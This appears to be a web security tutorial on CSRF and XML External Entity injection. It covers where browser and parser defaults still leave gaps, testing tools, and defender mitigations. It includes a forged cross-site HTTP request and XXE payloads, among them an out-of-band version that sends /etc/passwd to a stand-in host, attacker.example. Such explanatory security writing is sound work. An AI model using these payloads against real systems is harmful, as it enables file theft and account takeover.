CSRF and XXE are the two web attacks that get treated as “solved problems” in the textbook security literature and still produce findings on real engagements. The textbooks aren’t wrong; the picture is just more textured than they describe. CSRF has been blunted by browser cookie defaults, XML parsers have been secure-by-default for nearly a decade, and yet both still show up on engagements because the protections cover the classic cases and not the edge cases. The edge cases are where the work is.
Cross-Site Request Forgery#
CSRF abuses the fact that an authenticated user’s browser will automatically attach session cookies to any request the page can cause. If an attacker can get the user’s browser to issue a state-changing request to a target site while the user is logged in, the target site processes it as legitimate.
The classic example: a site exposes POST /change-email that takes the new address from a form field and updates the logged-in user’s email. An attacker hosts a page that auto-submits a form to that endpoint with their address. The victim visits the attacker’s page while logged in, the form fires, the user’s email becomes the attacker’s, and the attacker resets the password to take the account.
What browser defaults closed#
The classic CSRF described above stopped working reliably around 2020. Chrome 80 (February 2020) shipped SameSite=Lax as the default cookie behavior. Edge and Opera followed. Lax means session cookies don’t get attached to cross-site subresource requests (like the auto-submitted form above), so the target site receives the request without authentication and rejects it.
That single browser change deprecated most of the textbook CSRF surface. Frameworks (Django, Rails, ASP.NET Core, Spring Security) ship with CSRF middleware that adds token validation on top, which catches anything Lax doesn’t.
Where it still lands#
CSRF is alive on more surface than the textbook suggests:
- Firefox and Safari don’t default Lax. Firefox relies on Enhanced Tracking Protection and Safari on Intelligent Tracking Prevention, both of which apply different heuristics than a hard cookie-attribute default. A CSRF against a Firefox-using target may still work when the same attack against a Chrome user wouldn’t.
SameSite=Nonecookies. Sites that explicitly setNonefor cross-site embedding (third-party iframes, SaaS-style integrations) opt out of the protection. Any state-changing endpoint they expose is back in scope.- GET endpoints that change state. REST hygiene says GET is idempotent and POST changes state. Real applications routinely violate this. A
GET /transfer?from=X&amount=Ytriggered from a<img src="...">tag works regardless of SameSite policy because the browser treats it as a navigation, not a subresource request. - JSON endpoints with content-type confusion. A modern API accepting
application/jsonis supposed to be safe because browsers can’t send that content type cross-site without preflight. But endpoints that accepttext/plainJSON or that parse the body regardless of declared content type get hit by forms that POSTtext/plaincontaining JSON. - The Lax+POST 2-minute window. Chrome historically allowed POST requests with
SameSite=Laxcookies if the request was a top-frame navigation within 2 minutes of cookie creation. This window was a bug-compatibility carveout for OAuth flows and stayed in production longer than the spec writers expected. - Subdomain takeover. SameSite is site-level, not origin-level. If
evil-old-promo.target.comis parked and the attacker takes it over, requests from that subdomain are same-site for cookies, and SameSite doesn’t help.
The mitigation pattern that actually holds in 2026 is double-submit tokens or synchronizer tokens validated server-side, on every state-changing endpoint, regardless of HTTP method or content type. Modern frameworks handle this by default; the bugs are in custom routes that bypass the framework’s middleware.
A worked example#
The traffic for the classic POST CSRF, against an application that doesn’t validate tokens and uses cookies without SameSite restrictions:
POST /change-email HTTP/1.1
Host: vulnerable-app.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: https://attacker-site.lab
Referer: https://attacker-site.lab/csrf.html
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOi...
email=attacker%40example.comThe Origin header is the dead giveaway here: a server with any defense at all would check Origin against an allowlist of expected referers and reject this. A surprising number of applications don’t.
XML External Entity injection#
XXE exploits XML parsers that resolve external entities by default. An external entity is a reference inside an XML document that points to content outside the document (a URL, a file path), and a vulnerable parser follows the pointer and substitutes the result.
A minimal vulnerable XML payload that reads a server file:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>When a vulnerable parser processes this and the application reflects the parsed content back to the requester, /etc/passwd shows up in the response.
What the parsers fixed#
XML library defaults shifted around 2014-2016. Modern Java’s JAXP, Python’s defusedxml, .NET’s XmlReader, libxml2’s default options, all disable external entity processing by default in current versions. Reaching for a stock XMLParser constructor in 2026 generally does not give you a vulnerable parser anymore.
Where it still lands#
XXE is still a live attack surface, just not in the places the textbook puts it:
- SVG file uploads. SVG is XML. Applications that accept SVGs (avatars, document attachments, branding logos) and process them with an XML parser inherit XXE if the parser is misconfigured. Modern image processing libraries often parse SVG with an XML parser first and rasterize later, which is where the vulnerability sits.
- Office document formats (DOCX, XLSX, ODT). These are ZIP archives containing XML. Document processing pipelines that unzip and parse the contents are exposed if any parser in the chain has external entities enabled.
- XSLT transforms. Applications that run user-controlled XSLT (or XML against user-controlled XSLT) get XXE plus a Turing-complete transformation language on the server side.
- SAML implementations. SAML assertions are signed XML. Implementations vary in how strictly they handle entity resolution before signature verification. Note that the famous 2017 SAML disclosures (Duo, OneLogin’s python-saml) were XML Signature Wrapping, a different vulnerability class from XXE, but related XML-parser issues exist in SAML libraries.
- Legacy Java libraries. Older Xerces, JAXP, and Apache XML Commons versions are still in production in enterprise environments and still parse external entities by default.
- Configuration file XML. Applications that read XML config files written by users (templates, custom rules engines) are exposed if the parser is misconfigured.
A live 2025 example: SysAid disclosed CVE-2025-2775, CVE-2025-2776, and CVE-2025-2777, an XXE chain that allowed unauthenticated remote code execution against the SysAid help desk product. The vulnerability was an XML processor that resolved external entities, which then chained into local file read and authentication bypass. Old technique, freshly exploitable against a modern product.
Out-of-band XXE#
The textbook XXE assumes the application reflects the entity’s value back in the HTTP response, which is the easy case. The harder case is out-of-band XXE, where the parser resolves the entity but the application doesn’t return the result. The technique works by hosting an external DTD on attacker-controlled infrastructure and using parameter entities to exfiltrate file contents through DNS or HTTP requests to that server.
The payload skeleton:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<foo>&send;</foo>With the corresponding evil.dtd hosted by the attacker:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.example/?leak=%file;'>">
%all;When the target parses the original document, it fetches the DTD, expands the entity, and sends an HTTP request to the attacker’s server with the contents of /etc/passwd in the query string. The attacker reads it from their web server logs.
Burp Suite Collaborator is the standard testing harness for OOB XXE. It gives you a unique subdomain that captures any DNS or HTTP request the target makes during the test, which is exactly what OOB requires.
Tools#
The ones operators reach for on web engagements in 2026:
- Burp Suite Pro is the standard intercepting proxy. The Repeater, Intruder, and Collaborator modules cover almost everything a manual web tester does. The Community Edition still works as an intercepting proxy but loses Intruder rate, Collaborator, and active scanning.
- OWASP ZAP is the open-source alternative. Active scanning, manual testing, and a scripting console. Picks up most of the same finds as Burp at the cost of slower workflows.
- XXEinjector (Ruby) automates XXE testing including OOB exfiltration via a built-in HTTP listener. Useful for batching against a parameter you know is vulnerable.
- ffuf and Param Miner for discovering hidden parameters that might be CSRF-able or XML-accepting.
The XXE Injection Framework named in some older guides was actually XXEinjector; the name has propagated incorrectly in places.
What the defender can do#
The mitigations that hold in 2026 are mostly framework defaults plus disciplined input handling:
- CSRF: rely on synchronizer or double-submit tokens enforced by the framework; reject requests without expected
Origin/Refererheaders; useSameSite=Strictcookies for session-critical operations; avoid GET endpoints that change state. - XXE: configure XML parsers explicitly to disable external entities and DTDs (don’t trust defaults across language versions); validate uploaded file types against actual content rather than just extension; sandbox document processing pipelines so a successful XXE on a DOCX parser can’t reach the credentials store.
Both classes are textbook examples of how a vulnerability category gets “closed” by platform defaults while remaining alive in the long tail of applications, libraries, and configurations that pre-date or work around the defaults. The next operator on the engagement will still find them.